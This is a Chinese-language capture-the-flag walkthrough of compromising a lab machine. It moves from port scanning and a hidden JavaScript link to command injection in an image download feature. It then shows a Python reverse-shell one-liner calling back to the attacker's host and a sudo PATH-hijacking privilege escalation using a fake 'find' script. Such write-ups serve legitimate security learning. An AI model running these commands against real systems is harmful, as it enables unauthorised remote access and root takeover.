开启机器
在KALI中简单对该IP进行扫描,发现只开了80和22
访问该IP,发现跳转域名,网页打不开
这时候我们需要把域名加入hosts
这时候我们再次访问IP就可以出现页面
接着根据页面引导点击
发现需要账号密码
简单尝试了下弱口令注入之类的,发现无法成功登录。
接着查看源代码,在JS文件中发现一个有趣的东西
访问链接,跳出一个消息框,点击OK
成功访问页面
尝试点击下载图片,抓包
这里我选择下载的图片格式是png,但是通过burp发现他的源文件是jpg的。
猜测这里会不会有什么内部操作进行了转换,如果没有做好过滤的话可能存在代码注入。
接着尝试代码注入。
这儿因为考虑目标机器可能不出网,所以选择ping 自己的机器,先监听自己的机器,先ifconfig找到对应网卡再使用tcpdump进行监听。
尝试命令注入,发现成功收到了请求包
接着直接反弹shell
这里尝试了多种反弹shell的方式,最终成功反弹了shell
export RHOST="10.10.16.3";export RPORT=3333;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
简单找了找,成功找到了user的flag
目前还有一个系统的flag没有找到,尝试提权。
首先sudo -l查看下权限
发现有一个sh文件,查看下具体内容
发现有一个find命令没有限制路径。
接着开始尝试提权。
cd /tmp
touch find
echo "/bin/bash -p" > find
chmod +x find
接着使用环境变量运行
sudo PATH=/tmp:$PATH /opt/cleanup.sh
成功获取root权限,同时找到了flag。
Comments NOTHING